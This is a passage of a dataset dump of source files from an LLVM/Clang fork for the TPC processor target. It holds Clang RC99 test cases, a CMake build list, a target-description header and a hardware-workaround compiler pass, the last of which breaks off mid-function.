int64 v2 = 2;\n short128 out;\n out = v_convert_int32_to_i16_v_s(v1, 0, out, e_round_down, 0);\n out = v_convert_int32_to_i16_v_s(v2, 0, out, e_round_down, 1);\n\n int5 coords = {0, 0, 0, 0};\n i16_st_tnsr_i_v(coords, ofm, out);\n}\n\n// CHECK: convert_int32 lane_sel=0 rd to_16 [[REG:%V[0-9]+]],\n// CHECK: convert_int32 lane_sel=1 rd to_16 [[REG]]\n" }, { "alpha_fraction": 0.5829145908355713, "alphanum_fraction": 0.5979899764060974, "avg_line_length": 29.615385055541992, "blob_id": "9944cbcacbf41130810142e1960fc0f3a42a4319", "content_id": "bf359084b455ee9593c323fbe36ee89af8834ca6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 398, "license_type": "permissive", "max_line_length": 87, "num_lines": 13, "path": "/clang/test/RC99/target-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -c -march=gaudi %s -o - -### 2>&1 | FileCheck -check-prefix GAUDI %s\n// RUN: %tpc_clang -c -march=dali %s -o - -### 2>&1 | FileCheck -check-prefix DALI %s\n// RUN: %tpc_clang -c %s -o - -### 2>&1 | FileCheck -check-prefix DEFAULT %s\n\nvoid main() {\n}\n\n// GAUDI: -target-cpu\n// GAUDI-SAME: gaudi\n// DALI: -target-cpu\n// DALI-SAME: goya\n// DEFAULT: -target-cpu\n// DEFAULT-SAME: goya\n" }, { "alpha_fraction": 0.8229842185974121, "alphanum_fraction": 0.8243744373321533, "avg_line_length": 24.388235092163086, "blob_id": "39e3ef5970a8be45fffd2e5bdb9291c24847f95d", "content_id": "5ae41f4587aa194e992c3a7caaee4bf5f1894c21", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 2158, "license_type": "permissive", "max_line_length": 61, "num_lines": 85, "path": "/llvm/lib/Target/TPC/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "set(LLVM_TARGET_DEFINITIONS TPC.td)\n\ntablegen(LLVM TPCGenAsmWriter.inc -gen-asm-writer)\ntablegen(LLVM TPCGenAsmMatcher.inc -gen-asm-matcher)\ntablegen(LLVM TPCGenRegisterInfo.inc -gen-register-info)\ntablegen(LLVM TPCGenInstrInfo.inc -gen-instr-info)\ntablegen(LLVM TPCGenSubtargetInfo.inc -gen-subtarget)\ntablegen(LLVM TPCGenDAGISel.inc -gen-dag-isel)\ntablegen(LLVM TPCGenDFAPacketizer.inc -gen-dfa-packetizer)\ntablegen(LLVM TPCGenMCCodeEmitter.inc -gen-emitter)\ntablegen(LLVM TPCGenCallingConv.inc -gen-callingconv)\ntablegen(LLVM TPCGenDisassemblerTables.inc -gen-disassembler)\n\nadd_public_tablegen_target(TPCCommonTableGen)\n\nset(sources\n AttributeAdjuster.cpp\n Globalizer.cpp\n GlobalResolver.cpp\n latencies.cpp\n latenciesGen1.cpp\n latenciesGen2.cpp\n MemoryToReg.cpp\n NodePreLegalizer.cpp\n ScalarToIRF.cpp\n TPCTargetMachine.cpp\n TPCTools.cpp\n TPCSubtarget.cpp\n TPCAsmPrinter.cpp\n TPCFrameLowering.cpp\n TPCInstrInfo.cpp\n TPCAddrOpt.cpp\n TPCFMAOpt.cpp\n TPCUnbranch.cpp\n TPCHWWA2.cpp\n TPCHwWaGeneral.cpp\n TPCTransformIntrin.cpp\n TPCSetIndxCoalescer.cpp\n TPCISelDAGToDAG.cpp\n TPCISelLowering.cpp\n TPCRegisterInfo.cpp\n TPCRegisterCounter.cpp\n TPCLutCacheCounter.cpp\n TPCSelectionDAGInfo.cpp\n TPCTargetObjectFile.cpp\n TPCHardwareLoops.cpp\n TPCSelectorPreshaper.cpp\n TPCSingleUseScalarOptimizer.cpp\n TPCIndexSpaceGen.cpp\n TPCSoftwareLoopPipelining.cpp\n TPCMachineScheduler.cpp\n TPCHazardRecognizer.cpp\n TPCVLIWPacketizer.cpp\n TPCExpandHWRegCopies.cpp\n TPCUnHardwareLoops.cpp\n TPCSetSpillBase.cpp\n TPCPredicateOptimizer.cpp\n TPCRegisterBalancer.cpp\n TPCLatencyResolver.cpp\n TPCSubregInitElimination.cpp\n TPCMapCompoundInst.cpp\n TPCTargetTransformInfo.cpp\n TPCInstrCompress.cpp\n TPCPipelineRegs.cpp\n TPCoptimization.cpp\n TPCMemorySize.cpp\n TPCAliasAnalysis.cpp\n TPCHwWa.cpp\n TPCElfSet.cpp\n TPCIndexSpace.cpp\n SCEVParser.cpp\n TPCCostModelEmitter.cpp\n TPCLoopData.cpp\n TPCMovCoalescer.cpp\n TPCScalarSink.cpp\n TPCImmToReg.cpp\n TPCCopyElision.cpp\n )\n\nadd_llvm_target(TPCCodeGen ${sources})\n\nadd_subdirectory(MCTargetDesc)\nadd_subdirectory(TargetInfo)\nadd_subdirectory(AsmParser)\nadd_subdirectory(Disassembler)\n" }, { "alpha_fraction": 0.6301644444465637, "alphanum_fraction": 0.6301644444465637, "avg_line_length": 30.556962966918945, "blob_id": "63f1bde31728323f71c71f08acd790babc95c897", "content_id": "7a247fdaa177af2489f23dff58c54c1547282d79", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2493, "license_type": "permissive", "max_line_length": 80, "num_lines": 79, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCTargetDesc.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCMCTargetDesc.h - TPC Target Descriptions ---------*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file provides TPC specific target descriptions.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCTARGETDESC_H\n#define LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCTARGETDESC_H\n\n#include \"llvm/MC/MCObjectWriter.h\"\n#include \"llvm/MC/MCInstrDesc.h\"\n#include \"llvm/Support/DataTypes.h\"\n#include <memory>\n\nnamespace llvm {\nclass MCAsmBackend;\nclass MCCodeEmitter;\nclass MCContext;\nclass MCInstrInfo;\nclass MCRegisterInfo;\nclass MCSubtargetInfo;\nclass MCTargetOptions;\nclass Target;\nclass Triple;\nclass StringRef;\nclass raw_pwrite_stream;\nclass raw_ostream;\n\nTarget &getTheTPCTarget();\n\nnamespace TPC {\nenum OperandType {\n // an immediate operand that can be encoded differently depending on its value\n OPERAND_TPC_IMM = MCOI::OPERAND_FIRST_TARGET,\n // Marks predicate part.\n OPERAND_PREDICATE,\n // Immediate operand that represents type of values involved in operation.\n OPERAND_DATATYPE,\n OPERAND_DIMMASK\n};\n} // end namespace TPC\n\nMCCodeEmitter *createTPCMCCodeEmitter(const MCInstrInfo &MCII,\n const MCRegisterInfo &MRI,\n MCContext &Ctx);\nMCAsmBackend *createTPCAsmBackend(const Target &T,\n const MCRegisterInfo &MRI,\n const Triple &TheTriple, StringRef CPU,\n const MCTargetOptions &Options);\nMCAsmBackend *createTPCAsmBackend(const Target &T,\n const MCSubtargetInfo &STI,\n const MCRegisterInfo &MRI,\n const MCTargetOptions &Options);\nstd::unique_ptr<MCObjectTargetWriter> createTPCELFObjectWriter();\n\n} // End llvm namespace\n\n// Defines symbolic names for TPC registers. This defines a mapping from\n// register name to register number.\n//\n#define GET_REGINFO_ENUM\n#include \"TPCGenRegisterInfo.inc\"\n\n// Defines symbolic names for the TPC instructions.\n//\n#define GET_INSTRINFO_ENUM\n#include \"TPCGenInstrInfo.inc\"\n\n#define GET_SUBTARGETINFO_ENUM\n#include \"TPCGenSubtargetInfo.inc\"\n\n#endif\n" }, { "alpha_fraction": 0.6445544362068176, "alphanum_fraction": 0.6920791864395142, "avg_line_length": 49.54999923706055, "blob_id": "2ad7978fe42b81ef83b69a5011cda4e326384aa9", "content_id": "dc9fd604d98a7f2f4c1dc7cd036e46a34d694dae", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1010, "license_type": "permissive", "max_line_length": 136, "num_lines": 20, "path": "/clang/test/RC99/restrictions/irf44-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -long-irf -verify %s\n\nvoid func_01(int);\nint5 func_02();\n\nvoid main(int x) {\n int5 ndx1, ndx2;\n\n ndx1[1] = ndx2[2]; // expected-error{{this access to int5 component is not allowed in long irf mode - different dimensions}}\n ndx1[3] = ndx1[3] - ndx2[2]; // expected-error{{this access to int5 component is not allowed in long irf mode - different dimensions}}\n\n ndx1[2] += ndx2[1]; // expected-error{{this access to int5 component is not allowed in long irf mode - different dimensions}}\n\n int xx = ndx1[0]; // expected-error{{this access to int5 component is not allowed in long irf mode}}\n func_01(ndx1[0]); // expected-error{{this access to int5 component is not allowed in long irf mode}}\n int yy = func_02()[0]; // expected-error{{this access to int5 component is not allowed in long irf mode}}\n _Bool res;\n res = ndx1[1] < (ndx1[2] - ndx2[2]); // expected-error 2 {{this access to int5 component is not allowed in long irf mode}}\n\n}" }, { "alpha_fraction": 0.4352720379829407, "alphanum_fraction": 0.5272045135498047, "avg_line_length": 34.53333282470703, "blob_id": "2c3cd86e0988a9b3d17913809873b2683ad9173c", "content_id": "b69801d5307abed7073448704744140f0d057a35", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 533, "license_type": "permissive", "max_line_length": 80, "num_lines": 15, "path": "/clang/test/RC99/regression/gaudi-80.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -triple tpc-none-none -std=rc99 -O1 %s -o -\n// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvolatile int a = 124089;\nvoid main(tensor out) {\n//for(int i=0;i<10;i++) {a=2*i*i;}\n int5 space = {0, 0, 0, 0, 0};\n volatile int t = a;//23534;\n// a = t;\n// i32_st_tnsr_i_v_b(out, space, a, 1, 0);\n}\n// CHECK: mov.i32 [[A:%S[0-9]+]], 0x1e4b9\n// CHECK: st_l [[ADDR_A:0x[0-9]+]], [[A]]\n// CHECK: ld_l [[S:%S[0-9]+]], [[ADDR_A]]\n// CHECK: st_l [[ADDR_B:0x[0-9]+]], [[S]]\n" }, { "alpha_fraction": 0.5322033762931824, "alphanum_fraction": 0.6525423526763916, "avg_line_length": 48.16666793823242, "blob_id": "6b6d15c3cfcc4afb91252e1164ec14dc2cee36dc", "content_id": "4225a6206fb0368aa415cd12b8c9c50d84bf9e26", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 590, "license_type": "permissive", "max_line_length": 147, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uchar256_to_bfloat256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n uchar256 *sptr = (uchar256 *)src;\n bfloat256 *dptr = (bfloat256 *)dest;\n uchar256 src_val = *sptr;\n *dptr++ = convert_uchar256_to_bfloat256(src_val, 0);\n *dptr = convert_uchar256_to_bfloat256(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <256 x i8> {{.*}} to <256 x bfloat>\n// CHECK-IR: call <256 x bfloat> @llvm.tpc.convert.v256bf16.v256i8.i1(<256 x i8> {{.*}}, i8 5, i32 196864, <256 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5989491939544678, "alphanum_fraction": 0.6409807205200195, "avg_line_length": 42.92307662963867, "blob_id": "57ba5045931b339301cac59ebce7e7ea8f8f6308", "content_id": "1b3e9c9eae9ee33efcbd9a7dff92bda519f0d486", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 571, "license_type": "permissive", "max_line_length": 81, "num_lines": 13, "path": "/clang/test/RC99/regression/gaudi-98.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\nvoid main() {\n\n int5 y = { 0,0,0,0,0 };\n int5 x = {1, 2, 3, 4, 5 };\n int5 res;\n\n res = x >> y; // expected-error{{operation is not supported for int5 datatype}}\n res = x >> 5; // expected-error{{operation is not supported for int5 datatype}}\n res = 3 << y; // expected-error{{operation is not supported for int5 datatype}}\n res >>= 3; // expected-error{{operation is not supported for int5 datatype}}\n res <<= x; // expected-error{{operation is not supported for int5 datatype}}\n}\n" }, { "alpha_fraction": 0.5842450857162476, "alphanum_fraction": 0.6214442253112793, "avg_line_length": 44.79999923706055, "blob_id": "c9271e951fbbb1be6fd69c7313b98175030f359f", "content_id": "28a3a5c6e291d1e1db2c686223afb7a969752cdd", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 457, "license_type": "permissive", "max_line_length": 91, "num_lines": 10, "path": "/clang/test/RC99/driver/cpu-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang -target tpc -std=rc99 -c -march=qqq %s -o - 2>&1 | FileCheck %s\n// RUN: not %clang -target tpc -std=rc99 -c -mcpu=qqq %s -o - 2>&1 | FileCheck %s\n// RUN: not %clang -target tpc -std=rc99 -c -mtune=qqq %s -o - 2>&1 | FileCheck %s\n// RUN: not %clang_cc1 -triple tpc -std=rc99 -S -target-cpu qqq %s -o - 2>&1 | FileCheck %s\n\nvoid main() {\n}\n\n// CHECK: error: unknown target CPU 'qqq'\n// CHECK: note: valid target CPU values are: goya, gaudi" }, { "alpha_fraction": 0.34283387660980225, "alphanum_fraction": 0.4780130386352539, "avg_line_length": 35.117645263671875, "blob_id": "da8ad41f9b075cb03a79b685bac3187ee3f17c8e", "content_id": "7e57dabd9b41705920ea12958838bd5902c554d4", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1228, "license_type": "permissive", "max_line_length": 106, "num_lines": 34, "path": "/clang/test/RC99/IntrinsicsM/mul/i_i32_mul.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int x0, int x1, int dest, _Bool pred) {\n int5 __local *dptr = (int5 __local *)dest;\n int5 res = 0;\n int5 a = { x0, x0, 0, x0, x0 };\n int5 b = { x1, x1, x1, 0, 0 };\n \n res = i_i32_mul(a, b, 0x1e, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i32 b11110 %I{{[0-9]+}}, %I{{[0-9]+}}, %I{{[0-9]+}}, %SP0\n\n res = i_i32_mul(a, b, 0x10, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i32 b10000 %I{{[0-9]+}}, %I{{[0-9]+}}, %I{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = i_i32_mul(a, b, 0x08, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i32 b01000 %I{{[0-9]+}}, %I{{[0-9]+}}, %I{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = i_i32_mul(a, 123, 0x01, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i32 b00001 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}, %SP0\n\n res = i_i32_mul(a, 123, 0x02, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i32 b00010 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = i_i32_mul(a, 123, 0x04, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i32 b00100 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}, !%SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5657492280006409, "alphanum_fraction": 0.6385703086853027, "avg_line_length": 71.66666412353516, "blob_id": "d59f024fb2eb06397fc0fac34ee69c10c0beec9b", "content_id": "1c307f8639ae6f5b9205d0a22cbcf04125b64868", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5232, "license_type": "permissive", "max_line_length": 115, "num_lines": 72, "path": "/clang/test/RC99/restrictions/boolx.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -fsyntax-only -verify %s\n\nvoid main(int src) {\n\n bool256 __local *sptr = (bool256 __local *)src;\n\n bool256 x = *sptr++;\n bool256 y = *sptr++;\n bool256 res;\n\n res = y;\n\n res = +x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = -x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res++; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n ++res; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res--; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n --res; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res = x + y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = x + 0; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = 0 + x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res += x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res += 0; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res = x - y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = 0 - y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = x - 0; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res -= x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res -= 0; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res = x * y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = x * 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = 1 * x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res *= x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res *= 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res = x << y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = x << 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = 1 << x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res <<= x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res <<= 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res = x >> y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = x >> 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = 1 >> x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res >>= x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res >>= 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n (void) (x < y); // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n (void) (x <= y); // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n (void) (x > y); // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n (void) (x >= y); // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n \n res = x / y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = x / 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res /= x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res /= 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res = x % y; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res = x % 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n\n res %= x; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n res %= 1; // expected-error{{this operation is not allowed on 'bool256', 'bool128' or 'bool64' operands}}\n}\n" }, { "alpha_fraction": 0.642241358757019, "alphanum_fraction": 0.6551724076271057, "avg_line_length": 18.33333396911621, "blob_id": "1ffa708a9400217856969927a052ba0faf03c6b7", "content_id": "0f7268dd5775cef404b0bd2e68349161176c1980", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 232, "license_type": "permissive", "max_line_length": 93, "num_lines": 12, "path": "/clang/test/RC99/cxx/virtual-02.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc++ -triple tpc-none-none -verify %s\n\nstruct C1 {\n int x;\n};\n\nstruct ABCD : public virtual C1 { // expected-error{{virtual base classes are not supported}}\n int y;\n};\n\nvoid main(int src) {\n}\n" }, { "alpha_fraction": 0.5553092956542969, "alphanum_fraction": 0.582330584526062, "avg_line_length": 32.83571243286133, "blob_id": "56c17da44663e0f1722ed90c110427fe95368ae2", "content_id": "6df71eb9ffa562212a021edce75b57fcda688d1c", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9474, "license_type": "permissive", "max_line_length": 97, "num_lines": 280, "path": "/llvm/lib/Target/TPC/TPCHWWA2.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCHWWA2.cpp --- extent shift arg in convert to all instr -------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// need to extend as 0xa => 0x0a0a0a0a \n//\n//===----------------------------------------------------------------------===//\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n\n#define DEBUG_TYPE \"hwwa2\"\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCHWWA2();\nvoid initializeTPCHWWA2Pass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC Hardware Workarounds for converts\";\nstatic const char PassName[] = \"tpc-hwwa-workaround\";\n\nstatic cl::opt<bool>\nEnableMaxConvert(\"tpc-hwwa-conv-maxint\",\n cl::desc(PassDescription),\n cl::init(true), cl::Hidden);\n\nnamespace {\nclass TPCHWWA2 : public MachineFunctionPass {\n MachineFunction *MF = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n const TargetInstrInfo *TII = nullptr;\n unsigned NumReplaced = 0;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCHWWA2() : MachineFunctionPass(ID) {\n initializeTPCHWWA2Pass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n}\n\nchar TPCHWWA2::ID = 0;\n\nINITIALIZE_PASS(TPCHWWA2, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCHWWA2() {\n return new TPCHWWA2();\n}\nstatic int64_t extent_imm(int64_t im,int grp) {\n int wr = im;\n if (grp == 1|| grp==3) {\n wr = (wr << 8) | (wr&0xff);\n }\n wr = (wr << 16) |(wr&0xffff);\n return wr;\n}\n\n static int extend_reg(MachineBasicBlock::iterator mi, MachineFunction& Func,int grp)\n{\n auto MF = &Func;\n auto MRI = &MF->getRegInfo();\n auto ST = &MF->getSubtarget();\n auto TII = ST->getInstrInfo();\n MachineInstr *MI = &*mi;\n unsigned rego = MI->getOperand(2).getReg();\n unsigned d_or16 = rego;\n\n MachineInstrBuilder MIB;\n\n if (grp == 1 || grp ==3) {\n unsigned shift_and8= MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(MI->getParent()), mi, MI->getDebugLoc(), TII->get(TPC::ANDsip), shift_and8);\n MIB.addReg(rego);\n MIB.addImm(0xff);\n MIB.addImm(2);\n MIB.addImm(0);\n MIB.addReg(shift_and8, RegState::Undef);\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n\n unsigned d_shl8 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(MI->getParent()), mi, MI->getDebugLoc(), TII->get(TPC::SHLsip), d_shl8);\n MIB.addReg(shift_and8);\n MIB.addImm(8);\n MIB.addImm(2);\n MIB.addImm(0);\n MIB.addReg(d_shl8, RegState::Undef);\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n\n d_or16 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(MI->getParent()), mi, MI->getDebugLoc(), TII->get(TPC::ORssp), d_or16);\n MIB.addReg(d_shl8);\n MIB.addReg(shift_and8);\n MIB.addImm(2);\n MIB.addImm(0);\n MIB.addReg(d_or16, RegState::Undef);\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n }\n else {\n unsigned shift_and16 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(MI->getParent()), mi, MI->getDebugLoc(), TII->get(TPC::ANDsip), shift_and16);\n MIB.addReg(rego);\n MIB.addImm(0xffff);\n MIB.addImm(2);\n MIB.addImm(0);\n MIB.addReg(shift_and16, RegState::Undef);\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n\n d_or16 = shift_and16;\n }\n unsigned d_shl16 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(MI->getParent()), mi, MI->getDebugLoc(), TII->get(TPC::SHLsip), d_shl16);\n MIB.addReg(d_or16);\n MIB.addImm(16);\n MIB.addImm(2);\n MIB.addImm(0);\n MIB.addReg(d_shl16, RegState::Undef);\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n\n unsigned d_or32 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*(MI->getParent()), mi, MI->getDebugLoc(), TII->get(TPC::ORssp), d_or32);\n MIB.addReg(d_shl16);\n MIB.addReg(d_or16);\n MIB.addImm(2);\n MIB.addImm(0);\n MIB.addReg(d_or32, RegState::Undef);\n MIB.addReg(TPC::SP0); // Pred\n MIB.addImm(0); // Polarity\n\n return d_or32;\n}\nbool TPCHWWA2::runOnMachineFunction(MachineFunction &Func) \n{\n if (skipFunction(Func.getFunction()))\n return false;\n\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n auto Features = MF->getSubtarget().getFeatureBits();\n bool is_gaudi = Features[TPC::FeatureGaudi];\n NumReplaced = 0;\n MachineBasicBlock *MBB;\n if (!EnableMaxConvert)\n return false;\n for (MachineFunction::iterator MBBI = MF->begin(), MBBE = MF->end();\n MBBI != MBBE; ++MBBI) {\n MBB = &*MBBI;\n for (MachineBasicBlock::iterator mi = MBB->begin(), me = MBB->end();\n mi != me; ) {\n MachineBasicBlock::iterator nmi = std::next(mi);\n MachineInstr *MI = &*mi;\n MachineInstrBuilder MIB;\n auto opc = MI->getOpcode();\n// for switch decoding taken from .td-file\n#define FP32 0\n#define BF16 1\n#define INT32 2\n#define UINT32 3\n#define INT8 4\n#define UINT8 5\n#define BOOL 6\n#define INT16 7\n#define UINT16 8\n\n if (opc == TPC::CONVERTvvp) {\n MachineOperand opnd2 = MI->getOperand(2);\n MachineOperand opnd3 = MI->getOperand(3);\n MachineOperand opnd4 = MI->getOperand(4);\n\n int64_t destreg = MI->getOperand(0).getReg();\n assert(opnd2.isImm() && opnd3.isImm()&& opnd4.isReg());\n int64_t sw = opnd3.getImm();\n int lane_sel = sw & 3;\n int target_type_to = (sw >> 8) & 0xf;\n if (!(target_type_to == INT8 || target_type_to == INT16)) goto LOOP_BOTTOM;\n int rm = (sw >> 16) & 0xf;\n int target_type_from = 